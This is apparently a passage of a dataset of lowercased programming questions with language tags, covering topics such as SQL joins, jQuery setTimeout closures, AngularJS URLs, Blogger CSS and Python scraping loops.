i++) {             if (strcmp(source_attributes[i].name   t ) == 0) {                 source_ivar_type = [[nsstring stringwithutf8string:source_attributes[i].value] stringbytrimmingcharactersinset:[nscharacterset charactersetwithcharactersinstring:@ @\  ]];                  break;             }         }          for (int i = 0; i &lt; destination_attributes_count; i++) {             if (strcmp(destination_attributes[i].name   t ) == 0) {                 destination_ivar_type = [[nsstring stringwithutf8string:destination_attributes[i].value] stringbytrimmingcharactersinset:[nscharacterset charactersetwithcharactersinstring:@ @\  ]];                 break;             }         }          if ([self ispropertysettype:source_ivar_type]) {             id source_value = [sourceobject valueforkey:property_name];             if ([source_value iskindofclass:[nsarray class]]) {                 nsarray *destination_array = [self arrayconvert:(nsarray*)source_value];                 if (destination_array) {                     [destination_object setvalue:destination_array forkey:property_name];                 }              } else if ([source_value iskindofclass:[nsdictionary class]]) {                 nsdictionary *destination_dict = [self dictionaryconvert:(nsdictionary *)source_value];                 if (destination_dict) {                     [destination_object setvalue:destination_dict forkey:property_name];                 }             }          } else {             if ([destination_ivar_type isequaltostring:source_ivar_type]) {                 id source_value = [sourceobject valueforkey:property_name];                 if (source_value) {                     [destination_object setvalue:source_value forkey:property_name];                 }              } else {                 id source_value = [sourceobject valueforkey:property_name];                  id destination_value = [nsclassfromstring(destination_ivar_type) convertsourceobject:source_value];                 if (destination_value) {                     [destination_object setvalue:destination_value forkey:property_name];                 }             }         }         free(source_attributes);     } else {         continue;     }     free(destination_attributes); } free(destination_properties); return destination_object; </code></pre>   },ios
virtualenvwrapper install failure -  what would cause importerror: no module named core  etc   i m on osx 10.6.8  and trying to use bash to install virtualenvwrapper  and am getting back cryptic feedback (at least for me). i was able to install virtualenv.    perhaps someone can point me in the right direction...    the output from the failed install:   <pre><code>downloading/unpacking virtualenvwrapper </code></pre>   running setup.py egg_info for package virtualenvwrapper   <pre><code>installed /private/tmp/pip_build_root/virtualenvwrapper/pbr-0.5.23-py2.6.egg /system/library/frameworks/python.framework/versions/2.6/extras/lib/python/setuptools/dist.py:245: userwarning: module pbr was already imported from /tmp/easy_install-xubv6g/pbr-0.5.23/pbr/__init__.py  but /private/tmp/pip_build_root/virtualenvwrapper/pbr-0.5.23-py2.6.egg is being added to sys.path   working_set.add(dist) traceback (most recent call last):   file  &lt;string&gt;   line 16  in &lt;module&gt;   file  /private/tmp/pip_build_root/virtualenvwrapper/setup.py   line 7  in &lt;module&gt;     pbr=true    file  /system/library/frameworks/python.framework/versions/2.6/lib/python2.6/distutils/core.py   line 113  in setup     _setup_distribution = dist = klass(attrs)   file  /system/library/frameworks/python.framework/versions/2.6/extras/lib/python/setuptools/dist.py   line 223  in __init__     _distribution.__init__(self attrs)   file  /system/library/frameworks/python.framework/versions/2.6/lib/python2.6/distutils/dist.py   line 270  in __init__     self.finalize_options()   file  /system/library/frameworks/python.framework/versions/2.6/extras/lib/python/setuptools/dist.py   line 256  in finalize_options     ep.load()(self  ep.name  value)   file  /system/library/frameworks/python.framework/versions/2.6/extras/lib/python/pkg_resources.py   line 1907  in load     entry = __import__(self.module_name  globals() globals()  [ __name__ ]) importerror: no module named core complete output from command python setup.py egg_info: </code></pre>   installed /private/tmp/pip_build_root/virtualenvwrapper/pbr-0.5.23-py2.6.egg    /system/library/frameworks/python.framework/versions/2.6/extras/lib/python/setuptools/dist.py:245: userwarning: module pbr was already imported from /tmp/easy_install-xubv6g/pbr-0.5.23/pbr/<strong>init</strong>.py  but /private/tmp/pip_build_root/virtualenvwrapper/pbr-0.5.23-py2.6.egg is being added to sys.path    working_set.add(dist)    traceback (most recent call last):    file     line 16  in     file  /private/tmp/pip_build_root/virtualenvwrapper/setup.py   line 7  in    <pre><code>pbr=true  </code></pre>   file  /system/library/frameworks/python.framework/versions/2.6/lib/python2.6/distutils/core.py   line 113  in setup   <pre><code>_setup_distribution = dist = klass(attrs) </code></pre>   file  /system/library/frameworks/python.framework/versions/2.6/extras/lib/python/setuptools/dist.py   line 223  in <strong>init</strong>   <pre><code>_distribution.__init__(self attrs) </code></pre>   file  /system/library/frameworks/python.framework/versions/2.6/lib/python2.6/distutils/dist.py   line 270  in <strong>init</strong>   <pre><code>self.finalize_options() </code></pre>   file  /system/library/frameworks/python.framework/versions/2.6/extras/lib/python/setuptools/dist.py   line 256  in finalize_options   <pre><code>ep.load()(self  ep.name  value) </code></pre>   file  /system/library/frameworks/python.framework/versions/2.6/extras/lib/python/pkg_resources.py   line 1907  in load   <pre><code>entry = __import__(self.module_name  globals() globals()  [ __name__ ]) </code></pre>   importerror: no module named core   <hr>   cleaning up... command python setup.py egg_info failed with error code 1 in /private/tmp/pip_build_root/virtualenvwrapper storing complete log in /users/admin/library/logs/pip.log,python
join multiple tables in a ternary  i have a 3 tables (customers  customerid is pk)(services  serviceid is pk)(equipment  equid is pk). the second two tables have a cost associated with them. all 3 tables connect individually to a table (billing  transid is the pk). another process puts transactions in for each customer which charges them for their services individually. i would like to generate a query that pulls all transactions and costs for related equipment and services. when i tried to join cus->billing->service->billing->equip it causes some weirdness. does anyone know a better way to do this     <pre><code>select * from customer as c  inner join billing as b on c.customerid=b.customerid inner join service as s on b.servid=s.servid inner join billing on s.servid=b.servid inner join equipment as e on b.equid=e.equid and b.serial=e.serial where c.customerid=1 </code></pre>,sql
jquery why we get not right values  <pre><code>$(function () {      /*     now we have next lines:     &lt;div id= cat &gt;         &lt;a href= #  data-text= category1 &gt;category1&lt;/a&gt;         &lt;a href= #  data-text= category2 &gt;category2&lt;/a&gt;         &lt;a href= #  data-text= category3 &gt;category3&lt;/a&gt;         &lt;a href= #  data-text= category4 &gt;category4&lt;/a&gt;     &lt;/div&gt;     */     var category = $( body ).find( #cat a );     var odjcategory = {};     $(category).each(function(category_id elem) {         var num = category_id+1;         $this_category = $(this);         var timer1 = settimeout(function(e) {             $(this).trigger( click );             var arrodjcategory = {                  categoryid  : num                   name  : $this_category.attr( data-text )             };             odjcategory[num] = arrodjcategory;             console.log( main array =  +num);             console.log(odjcategory);         }  1000);     });      }); </code></pre>   if we use function timeout() <code>timer1</code>  than we get:   <pre><code>{     1={object { categoryid=1  name= category4 } }     2={object { categoryid=2  name= category4 } }     3={object { categoryid=3  name= category4 } }     4={object { categoryid=4  name= category4 } } } </code></pre>   but it not right and should been:   <pre><code>{     1={object { categoryid=1  name= category1 } }     2={object { categoryid=2  name= category2 } }     3={object { categoryid=3  name= category3 } }     4={object { categoryid=4  name= category4 } } } </code></pre>   why we get not right values and what we need doing that get right results     where error      p.s.: if we do not use function timeout() <code>timer1</code> we get good results... but we need this fucntion for next actions.,jquery
mysql: referring to a composite key  i have 3 columns: name  age  address.<br> i want name and age to be a composite key to refer to an address.         <pre><code>create table usertable (   name varchar(100) not null     age int not null     address varchar(100) not null    constraint addresskey primary key(name age) ); </code></pre>   this works:     <pre><code>select * from usertable where (name age)=( somename  someage);   </code></pre>   but i would like to do something like:       <pre><code>select * from usertable where addresskey=( somename  someage);   </code></pre>   i get an error when i do this.,mysql
c how to copy hexadecimal value into array using memcpy  i am working with <code>c</code>  and i have a <code>uint8_t array</code> of <code>hex</code> values and i want to add another value to it via <code>memcpy</code> dynamically e.g.    i have an array: <code>uint8_t sample[ 0x23    0x34  ...]</code> e.t.c. ...and i want to copy another <code>hex character</code> into the <code>array</code> later on. how is this done  if this question has been answered before  sorry  i couldn t find it. i am new to <code>c</code>  and these <code>pointers</code> are giving me hell. thanks in advance.,c
how can i change the base url of an angularjs http call   my application calls $http many times like this:   <pre><code>    this.$http({         method: this.method          url: this.url     }) </code></pre>   the this.url is always set to something like /app/getdata    now i have moved the back-end of my application to another server and i will need to get data like this:   <pre><code>https://newserver.com/app/getdata </code></pre>   is there a way that i can supply a base url that will be used for all the $http calls,angularjs
in the below line i get memory leak <pre><code>nsdate *today = [[nsdate alloc] init];     nscalendar *calender = [[nscalendar alloc] initwithcalendaridentifier:nsgregoriancalendar];     nsdatecomponents *onset = [[nsdatecomponents alloc] init];     [onset setmonth:monthsstart];     nsdate *fromdate = [gregorian datebyaddingcomponents:onset todate:today options:0];     [onset setmonth:monthsend];     nsdate *todate = [gregorian datebyaddingcomponents:onset todate:today options:0]; </code></pre>   it says the following :-   <ol> <li>method returns an objective-c object with a +1 retain count</li> <li>object leaked: object allocated and stored into <code>today</code> is not referenced later in this execution path and has a retain count of +1</li> </ol>,ios
why is angularjs rewriting hashbang  why is angularjs rewriting the address bar when i enter    <pre><code>www.domain.com/index.html/#!/content/sub/content  </code></pre>   to    <pre><code>www.domain.com/index.html#/!/content/sub/content </code></pre>   /#/! isn t standard hashbang syntax.. i want to keep it as #!/content/subcontent then parse the url with a custom function.    i ve tried    <pre><code>$location.html5mode = false; </code></pre>   and    <pre><code>angular.module( locationmodule   [])      .config(function($routeprovider  $locationprovider) {         //$locationprovider.hashprefix( ! );         $locationprovider.html5mode = false;     }); </code></pre>   neither of which seem to make a difference.,angularjs
what does error code 0xc0000135 mean when starting a .net application   symptom is that the application starts correctly on the majority of pcs (windows 7 and xp) at the user s site  but on one machine it consistently fails to start with the error  the application failed to initialize properly (0xc0000135) . what s the issue,.net
switch state not linking to label  for some reason using nsuserdefaults to save the state of my switch and my label don t seem to be working. i can save the state of my switch and load it however unless i manually change the state of the switch the label will not change to on or off.   <pre><code>        nsuserdefaults *standarddefaults = [nsuserdefaults standarduserdefaults];      self-&gt;switch1.on = ([[standarddefaults stringforkey:@ switchkey ]                               isequaltostring:@ on ])   (yes) : (no); </code></pre>   as you can see i added in label.text = @ off  when the switch is off but however it still doesn t change.   <pre><code>- (ibaction)switchchanged:(uiswitch *)sender {  nsuserdefaults *standarddefaults = [nsuserdefaults standarduserdefaults];  if (sender.on == 0) {      label.text = @ off ;     [standarddefaults setobject:@ off  forkey:@ switchkey ];   } else if (sender.on == 1) {      label.text = @ on ;     [standarddefaults setobject:@ on  forkey:@ switchkey ];   }  [standarddefaults synchronize];  } </code></pre>   before i wanted to save the switch state i just used this.   <pre><code>-(ibaction) alarmsettings1{  if (switch1.on)  { label.text = @ on ;}   else { label.text = @ off ;}  } </code></pre>   i know i m just doing something simple wrong but can t figure out what.,ios
css change inside settimeout doesn t work  the below code inside settimeout doesn t work whereas same code without settimeout works perfectly fine   <pre><code>var size_disabled_input = 0;  $( #txtuslead   #txtmy ).on( mouseover   function () { size_disabled_input = $(this).css( width ); if ((this.value.length) &gt; 8)  { $(this).css( csstext    width:   + ((this.value.length + 1) * 7) +  px !important ); } });  $( #txtuslead  #txtmy ).on( mouseout   function () { settimeout(function (){ $(this).css( csstext    width:   + size_disabled_input +  px !important ); }  2000); }) </code></pre>,jquery
how can i shorten a singleton call   i have a singleton class that basically deals with logs. every place at which i call it in the code  i have to type:   <pre><code>logclass::getinstance()-&gt;writetolog( text ); </code></pre>   how can i shorten this call so that i can just type <code>writetolog( text )</code> and it will call the function on the singleton object,c++
how to run whole for loop (forever loop) to get the whole table records    how to run whole for loop to get the whole table records  rather than for loop forever just get first record only    code:   <pre><code>import time import urllib2 from bs4  import beautifulsoup  while true:   contenturl =  http://www.bank.gov.ua/control/en/curmetal/detail/currency period=daily    soup = beautifulsoup(urllib2.urlopen(contenturl).read())    table = soup.find( div   attrs={ class :  content })    rows = table.findall( tr )   for tr in rows:     cols = tr.findall( td )     if  cell_c  in cols[0][ class ]:         # currency row         digital_code  letter_code  units  name  rate = [c.text for c in cols]         print digital_code  letter_code  units  name  rate         break         time.sleep(1) </code></pre>   output from code: (repeat for loop just first data)   <pre><code>036 aud 100 australian dollar 1207.1332   036 aud 100 australian dollar 1207.1332 036 aud 100 australian dollar 1207.1332 036 aud 100 australian dollar 1207.1332 036 aud 100 australian dollar 1207.1332 036 aud 100 australian dollar 1207.1332 036 aud 100 australian dollar 1207.1332 036 aud 100 australian dollar 1207.1332 036 aud 100 australian dollar 1207.1332 </code></pre>   expected output: (repeat for loop for whole data)   <pre><code>036 aud 100 australian dollar 1207.1332 944 azn 100 azerbaijanian manat 1651.6929 974 byr 10 belarussian ruble 0.0125 124 cad 100 canadian dollar 1190.6335 203 czk 100 czech koruna 62.1306 208 dkk 100 danish krone 232.5053 978 eur 100 euro 1733.4432 348 huf 1000 forint 55.2263 352 isk 100 iceland krona 11.2017 440 ltl 100 lithuanian litas 502.0399 934 tmt 100 manat 454.4764 498 mdl 100 moldovan leu 94.3694 578 nok 100 norwegian krone 210.5866 826 gbp 100 pound sterling 2166.2625 643 rub 10 russian ruble 3.5950 960 xdr 100 sdr 1981.8556 702 sgd 100 singapore dollar 1040.5446 752 sek 100 swedish krona 189.1724 756 chf 100 swiss franc 1431.7694 398 kzt 100 tenge 7.1168 949 try 100 turkish lira 597.4506 840 usd 100 us dollar 1295.2576 860 uzs 100 uzbekistan sum 0.5525 392 jpy 1000 yen 126.3258 156 cny 100 yuan renminbi 210.7094 985 pln 100 zloty 413.8775  036 aud 100 australian dollar 1207.1332 944 azn 100 azerbaijanian manat 1651.6929 974 byr 10 belarussian ruble 0.0125 124 cad 100 canadian dollar 1190.6335 203 czk 100 czech koruna 62.1306 208 dkk 100 danish krone 232.5053 978 eur 100 euro 1733.4432 348 huf 1000 forint 55.2263 352 isk 100 iceland krona 11.2017 440 ltl 100 lithuanian litas 502.0399 934 tmt 100 manat 454.4764 498 mdl 100 moldovan leu 94.3694 578 nok 100 norwegian krone 210.5866 826 gbp 100 pound sterling 2166.2625 643 rub 10 russian ruble 3.5950 960 xdr 100 sdr 1981.8556 702 sgd 100 singapore dollar 1040.5446 752 sek 100 swedish krona 189.1724 756 chf 100 swiss franc 1431.7694 398 kzt 100 tenge 7.1168 949 try 100 turkish lira 597.4506 840 usd 100 us dollar 1295.2576 860 uzs 100 uzbekistan sum 0.5525 392 jpy 1000 yen 126.3258 156 cny 100 yuan renminbi 210.7094 985 pln 100 zloty 413.8775 </code></pre>,python
how to loop through an array that is nested within an object   i m trying to get the contents of data within the subject array using jquery. how can this be done   i tried using <code>$.each</code> but couldn t get the contents  .    <pre><code>   student : {      name :  sdfdsf        age : 3       subject : [         {              science :  dfsdfdfd                book :  sdfds          }          {              math :  vbcb                book :  sdfds          }     ] } </code></pre>,jquery
css rectangle button on it and text inside it  i need to create this type of shape  the green part is a button. this design is for smartphone only and the rectangle must cover whole width of screen.    <a href= https://i.stack.imgur.com/nvbyq.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nvbyq.jpg  alt= enter image description here ></a>,css
select one to one relationship in one to many table structure  i have three mysql tables:-   <ul> <li>tbl_part - contains a list of parts with a part_id</li> <li>tbl_product - contains a list of products with a product_id</li> <li>tbl_part_to_product - contains one to many relationships between parts and products (part_id &amp; product_id)</li> </ul>   i m trying to do two things:-    <ol> <li>select all products that only have one part.</li> <li>find all products that only have a specific part as there <strong>only</strong> part.</li> </ol>,mysql
mystery left margin in header  i started a google blog using the static simple template.  i ve added a few customizations  based on what i ve read and help from some really wonderful people. i m very happy with the results  except.  i added an hr element to separate my navbar/tabs from the most recent post.  for some reason i can t yet fathom  the left end of the hr is not flush with the left side of the body of the page. if i increase width to 120% it runs off the right edge of the page  but not the left.     my url is: <a href= http://proustscookies.blogspot.com/  rel= nofollow >http://proustscookies.blogspot.com/</a>    code is below - i hope this is everything relevant.   <pre><code>/* variable definitions    ====================    &lt;variable name= keycolor  description= main color  type= color  default= #66bbdd  value= #ffffff /&gt;     &lt;group description= page text  selector= body &gt;      &lt;variable name= body.font  description= font  type= font           default= normal normal 12px arial  tahoma  helvetica  freesans  sans-serif  value= normal normal 12px  trebuchet ms   trebuchet  verdana  sans-serif /&gt;      &lt;variable name= body.text.color  description= text color  type= color  default= #222222  value= #666666 /&gt;    &lt;/group&gt;     &lt;group description= backgrounds  selector= .body-fauxcolumns-outer &gt;      &lt;variable name= body.background.color  description= outer background  type= color  default= #66bbdd  value= #ffffff /&gt;      &lt;variable name= content.background.color  description= main background  type= color  default= #ffffff  value= #ffffff /&gt;      &lt;variable name= header.background.color  description= header background  type= color  default= transparent  value= transparent /&gt;    &lt;/group&gt;     &lt;group description= links  selector= .main-outer &gt;      &lt;variable name= link.color  description= link color  type= color  default= #2288bb  value= #2288bb /&gt;      &lt;variable name= link.visited.color  description= visited color  type= color  default= #888888  value= #666666 /&gt;      &lt;variable name= link.hover.color  description= hover color  type= color  default= #33aaff  value= #2288bb /&gt;    &lt;/group&gt;     &lt;group description= blog title  selector= .header h1 &gt;      &lt;variable name= header.font  description= font  type= font           default= normal normal 60px arial  tahoma  helvetica  freesans  sans-serif  value= normal normal 70px  times new roman   times  freeserif  serif /&gt;      &lt;variable name= header.text.color  description= title color  type= color  default= #3399bb   value= #000000 /&gt;    &lt;/group&gt;     &lt;group description= blog description  selector= .header .description &gt;  &lt;variable name= description.font  description= font  type= font           default= normal normal 60px arial  tahoma  helvetica  freesans  sans-serif  value= italic normal 50px  times new roman   times  freeserif  serif /&gt;      &lt;variable name= description.text.color  description= description color  type= color           default= #777777   value= #000000 /&gt;    &lt;/group&gt;     &lt;group description= tabs text  selector= .tabs-inner .widget li a &gt;      &lt;variable name= tabs.font  description= font  type= font           default= normal normal 14px arial  tahoma  helvetica  freesans  sans-serif  value= normal normal 14px  trebuchet ms   trebuchet  verdana  sans-serif /&gt;      &lt;variable name= tabs.text.color  description= text color  type= color  default= #999999  value= #000000 /&gt;      &lt;variable name= tabs.selected.text.color  description= selected color  type= color  default= #000000  value= #000000 /&gt;    &lt;/group&gt;     &lt;group description= tabs background  selector= .tabs-outer .pagelist &gt;      &lt;variable name= tabs.background.color  description= background color  type= color  default= #f5f5f5  value= transparent /&gt;      &lt;variable name= tabs.selected.background.color  description= selected color  type= color  default= #eeeeee  value= transparent /&gt;    &lt;/group&gt;     &lt;group description= post title  selector= h3.post-title  .comments h4 &gt;      &lt;variable name= post.title.font  description= font  type= font           default= normal normal 22px arial  tahoma  helvetica  freesans  sans-serif  value= normal bold 22px  times new roman   times  freeserif  serif /&gt;    &lt;/group&gt;     &lt;group description= date header  selector= .date-header &gt;      &lt;variable name= date.header.color  description= text color  type= color           default= $(body.text.color)  value= #ffffff /&gt;      &lt;variable name= date.header.background.color  description= background color  type= color           default= transparent  value= #bbbbbb /&gt;    &lt;/group&gt;     &lt;group description= post footer  selector= .post-footer &gt;      &lt;variable name= post.footer.text.color  description= text color  type= color  default= #666666  value= #666666 /&gt;      &lt;variable name= post.footer.background.color  description= background color  type= color           default= #f9f9f9  value= #eeeeee /&gt;      &lt;variable name= post.footer.border.color  description= shadow color  type= color  default= #eeeeee  value= #eeeeee /&gt;    &lt;/group&gt;     &lt;group description= gadgets  selector= h2 &gt;      &lt;variable name= widget.title.font  description= title font  type= font          default= normal bold 11px arial  tahoma  helvetica  freesans  sans-serif  value= normal bold 11px  trebuchet ms  trebuchet verdana sans-serif /&gt;      &lt;variable name= widget.title.text.color  description= title color  type= color  default= #000000  value= #000000 /&gt;      &lt;variable name= widget.alternate.text.color  description= alternate color  type= color  default= #999999  value= #999999 /&gt;    &lt;/group&gt;     &lt;group description= images  selector= .main-inner &gt;      &lt;variable name= image.background.color  description= background color  type= color  default= #ffffff  value= #ffffff /&gt;      &lt;variable name= image.border.color  description= border color  type= color  default= #eeeeee  value= #eeeeee /&gt;      &lt;variable name= image.text.color  description= caption text color  type= color  default= $(body.text.color)  value= $(body.text.color) /&gt;    &lt;/group&gt;     &lt;group description= accents  selector= .content-inner &gt;      &lt;variable name= body.rule.color  description= separator line color  type= color  default= #eeeeee  value= transparent /&gt;      &lt;variable name= tabs.border.color  description= tabs border color  type= color  default= $(body.rule.color)  value= #ffffff /&gt;    &lt;/group&gt;     &lt;variable name= body.background  description= body background  type= background         color= $(body.background.color)  default= $(color) none repeat scroll top left  value= $(color) none repeat scroll top left /&gt;    &lt;variable name= body.background.override  description= body background override  type= string  default=   value=  /&gt;     &lt;variable name= body.background.gradient.cap  description= body gradient cap  type= url         default= url(//www.blogblog.com/1kt/simple/gradients_light.png)  value= none /&gt;    &lt;variable name= body.background.gradient.tile  description= body gradient tile  type= url         default= url(//www.blogblog.com/1kt/simple/body_gradient_tile_light.png)  value= none /&gt;     &lt;variable name= content.background.color.selector  description= content background color selector  type= string  default= .content-inner  value= .content-inner /&gt;    &lt;variable name= content.padding  description= content padding  type= length  default= 10px  value= 10px /&gt;    &lt;variable name= content.padding.horizontal  description= content horizontal padding  type= length  default= $(content.padding)  value= 40px /&gt;    &lt;variable name= content.shadow.spread  description= content shadow spread  type= length  default= 40px  value= 0 /&gt;    &lt;variable name= content.shadow.spread.webkit  description= content shadow spread (webkit)  type= length  default= 5px  value= 0 /&gt;    &lt;variable name= content.shadow.spread.ie  description= content shadow spread (ie)  type= length  default= 10px  value= 0 /&gt;     &lt;variable name= main.border.width  description= main border width  type= length  default= 0  value= 0 /&gt;     &lt;variable name= header.background.gradient  description= header gradient  type= url  default= none  value= none /&gt;    &lt;variable name= header.shadow.offset.left  description= header shadow offset left  type= length  default= -1px  value= 0 /&gt;     &lt;variable name= header.shadow.spread  description= header shadow spread  type= length  default= 1px  value= 0 /&gt;    &lt;variable name= header.padding  description= header padding  type= length  default= 0px  value= 0 /&gt;     &lt;variable name= header.border.size  description= header border size  type= length  default= 1px  value= 1px /&gt;    &lt;variable name= header.bottom.border.size  description= header bottom border size  type= length  default= $(header.border.size)  value= 0 /&gt;    &lt;variable name= header.border.horizontalsize  description= header horizontal border size  type= length  default= 0  value= 1px /&gt;     &lt;variable name= description.text.size  description= description text size  type= string  default= 140%  value= 18px /&gt;     &lt;variable name= tabs.margin.top  description= tabs margin top  type= length  default= 30px   value= 200px /&gt;    &lt;variable name= tabs.margin.side  description= tabs side margin  type= length  default= 30px   value= 30px /&gt;    &lt;variable name= tabs.margin.bottom  description= tabs bottom margin  type= length  default= 30px   value= 30px /&gt;    &lt;variable name= tabs.background.gradient  description= tabs background gradient  type= url         default= url(//www.blogblog.com/1kt/simple/gradients_light.png)  value= none /&gt;    &lt;variable name= tabs.border.width  description= tabs border width  type= length  default= 1px  value= 1px /&gt;    &lt;variable name= tabs.bevel.border.width  description= tabs bevel border width  type= length  default= 1px  value= 1px /&gt; &lt;variable name= tabs.padding.top  description= tabs top padding  type= length  default= $(content.padding)  value= 40px /&gt;     &lt;variable name= date.header.padding  description= date header padding  type= string  default= inherit  value= 0.4em /&gt;    &lt;variable name= date.header.letterspacing  description= date header letter spacing  type= string  default= inherit  value= 3px /&gt;    &lt;variable name= date.header.margin  description= date header margin  type= string  default= inherit  value= inherit /&gt;     &lt;variable name= post.margin.bottom  description= post bottom margin  type= length  default= 25px  value= 45px /&gt;     &lt;variable name= image.border.small.size  description= image border small size  type= length  default= 2px  value= 2px /&gt;    &lt;variable name= image.border.large.size  description= image border large size  type= length  default= 5px  value= 5px /&gt;     &lt;variable name= page.width.selector  description= page width selector  type= string  default= .region-inner  value= .region-inner /&gt;    &lt;variable name= page.width  description= page width  type= string  default= auto  value= auto /&gt;     &lt;variable name= main.section.margin  description= main section margin  type= length  default= 15px  value= 1em /&gt;    &lt;variable name= main.padding  description= main padding  type= length  default= 15px  value= 0 /&gt;    &lt;variable name= main.padding.top  description= main padding top  type= length  default= 30px  value= 35px /&gt;    &lt;variable name= main.padding.bottom  description= main padding bottom  type= length  default= 30px  value= 65px /&gt;     &lt;variable name= paging.background         color= $(content.background.color)         description= background of blog paging area  type= background         default= transparent none no-repeat scroll top center  value= transparent url(//www.blogblog.com/1kt/simple/paging_dot.png) repeat-x scroll top center /&gt;     &lt;variable name= footer.bevel  description= bevel border length of footer  type= length  default= 0  value= 1px /&gt;     &lt;variable name= mobile.background.overlay  description= mobile background overlay  type= string         default= transparent none repeat scroll top left  value= transparent none repeat scroll top left /&gt;    &lt;variable name= mobile.background.size  description= mobile background size  type= string  default= auto  value= auto /&gt;    &lt;variable name= mobile.button.color  description= mobile button color  type= color  default= #ffffff   value= #ffffff /&gt;     &lt;variable name= startside  description= side where text starts in blog language  type= automatic  default= left  value= left /&gt;    &lt;variable name= endside  description= side where text ends in blog language  type= automatic  default= right  value= right /&gt; */  /* content ----------------------------------------------- */ body {   font: $(body.font);   color: $(body.text.color);   background: $(body.background);   padding: 0 $(content.shadow.spread) $(content.shadow.spread) $(content.shadow.spread);   $(body.background.override) }  html body $(page.width.selector) {   min-width: 0;   max-width: 100%;   width: $(page.width); }  a:link {   text-decoration:none;   color: $(link.color); }  a:visited {   text-decoration:none;   color: $(link.visited.color); }  a:hover {   text-decoration:underline;   color: $(link.hover.color); }  .body-fauxcolumn-outer .fauxcolumn-inner {   background: transparent $(body.background.gradient.tile) repeat scroll top left;   _background-image: none; }  .body-fauxcolumn-outer .cap-top {   position: absolute;   z-index: 1;   height: 400px;   width: 100%;   background: $(body.background);   $(body.background.override) }  .body-fauxcolumn-outer .cap-top .cap-left {   width: 100%;   background: transparent $(body.background.gradient.cap) repeat-x scroll top left;   _background-image: none; }  .content-outer {   -moz-box-shadow: 0 0 $(content.shadow.spread) rgba(0  0  0  .15);   -webkit-box-shadow: 0 0 $(content.shadow.spread.webkit) rgba(0  0  0  .15);   -goog-ms-box-shadow: 0 0 $(content.shadow.spread.ie) #333333;   box-shadow: 0 0 $(content.shadow.spread) rgba(0  0  0  .15);    margin-bottom: 1px; }  .content-inner {   padding: $(content.padding) $(content.padding.horizontal); }  $(content.background.color.selector) {   background-color: $(content.background.color); }  /* header ----------------------------------------------- */ .header-outer {   background: $(header.background.color) $(header.background.gradient) repeat-x scroll 0 -400px;   _background-image: none; }  .header h1 {   font: $(header.font);   color: $(header.text.color);  }  .header h1 a {   color: $(header.text.color); }  .header .description {  font: $(description.font);   font-size: $(description.text.size);   color: $(description.text.color); }  .header-inner .header .titlewrapper {   padding: 0px $(header.padding); }  .header-inner .header .descriptionwrapper {   padding: 1 $(header.padding); }  /* tabs ----------------------------------------------- */ .tabs-inner .section:first-child {   border-top: $(header.bottom.border.size) solid $(tabs.border.color); }  .tabs-inner .section:first-child ul {   margin-top: -$(header.border.size);   border-top: $(header.border.size) solid $(tabs.border.color);   border-left: $(header.border.horizontalsize) solid $(tabs.border.color);   border-right: $(header.border.horizontalsize) solid $(tabs.border.color);   padding-top: $(tabs.padding.top); }  .tabs-inner .widget ul {   background: $(tabs.background.color) $(tabs.background.gradient) repeat-x scroll 0 -800px;   _background-image: none;   border-bottom: $(tabs.border.width) solid $(tabs.border.color);    margin-top: $(tabs.margin.top);   margin-left: -$(tabs.margin.side);   margin-right: -$(tabs.margin.side); margin-bottom -$(tabs.margin.bottom) }  .tabs-inner .widget li a {   display: inline-block;    padding: 0em 0em;    font: $(tabs.font);   color: $(tabs.text.color);    border-$startside: $(tabs.border.width) solid $(content.background.color);   border-$endside: $(tabs.bevel.border.width) solid $(tabs.border.color); }  .tabs-inner .widget li:first-child a {   border-$startside: none; }  .tabs-inner .widget li.selected a  .tabs-inner .widget li a:hover {   color: $(tabs.selected.text.color);   background-color: $(tabs.selected.background.color);   text-decoration: none; } . . . . .header-outer { margin-left:310px; margin-top:20px; }  .header-inner { margin-bottom:14px;  }  .header-inner .header .descriptionwrapper {margin-left: 20px; }  /* navigation tabs start */ a.prousttab  a.prousttab:link a.prousttab:visited { width:75px; height:20px; margin-top:10px; margin-left:10px;text-align:left; text-decoration:none; font-family:verdana  arial  sans-serif; font-size:14px; color:black; line-height:25px; overflow:hidden; float:center;} /* navigation tabs end */  .status-msg-wrap{ display: none;   }  div.hr { height: 2px; width: 100%;  color: #000000; background-color: #000000  }#proustlist {margin:10px 340px;  }]]&gt;&lt;/b:skin&gt; </code></pre>,html
saving previous number and adding  so i m making this  gambling  program in school our mission is to have 3 dices roll and if the middle dice is bigger than the first one but smaller than the 3rd one you win.   <pre><code>    private void btnkasta_click(object sender  eventargs e)     {         random slump = new random();         int t1 = slump.next(1  7);         int t2 = slump.next(1  7);         int t3 = slump.next(1  7);         lbldice1.text = t1.tostring();         lbldice2.text = t2.tostring();         lbldice3.text = t3.tostring();         double pengar = double.parse(tbxpengar.text);          if (t2&gt;t1 &amp;&amp; t3&gt;t2)         {             double satsning = double.parse(tbxsatsa.text);             double vinst = satsning * 5;             double total = pengar - satsning + vinst;             lblpengar.text = total.tostring(); </code></pre>   the problem i have is i don t know how to make it so that it saves the total from the last  win . for example if i put in 2000 and bet 100 i will get 2400 because 2000-100 + (100*5) but if i press the button again and win again i still have 2400  so how do i make it so that i would get 2800,c#
why is my code returning incorrect keys at a few stages   why am i getting discrepencies in the data returned like. it works fine till 3  then boom  it messes up until the end. what i am doing is simple. i am taking values from a txt file with id name and matching the ids with another txt file that has name name to make it appear like id  id  as you can see below. however  it doesn t work as you d expect. the matching is being done fine till a point it messes up.    <pre><code>0 1 1 3 0 2 0 3 0 4 2 3 0 4 2 4 1 2      while ((output2 = br2.readline()) != null) {      string[] vv = output2.split(   );     string value1 = vv[0];     string value2 = vv[1];      for (map.entry&lt;integer  string&gt; entry : map.entryset()) {         int key = entry.getkey();         string value = entry.getvalue();                                     //system.out.println(key+   +value);          if ((value1.equals(value))) {             system.out.print(key +    );          }          if ((value2.equals(value))) {             system.out.print(key +  \n );         }      }  } </code></pre>   data   <pre><code>ids.txt  0 triple h 1 john cena 2 megan fox 3 the undertaker 4 pamela anderson 5 the rock </code></pre>   text.txt   <pre><code>triple h john cena john cena the undertaker  triple h megan fox the undertaker triple h </code></pre>,java
how to invoke a method that called the current method in c#  i want to recall a method from the called method  can i use action for that  or any other solution.,c#
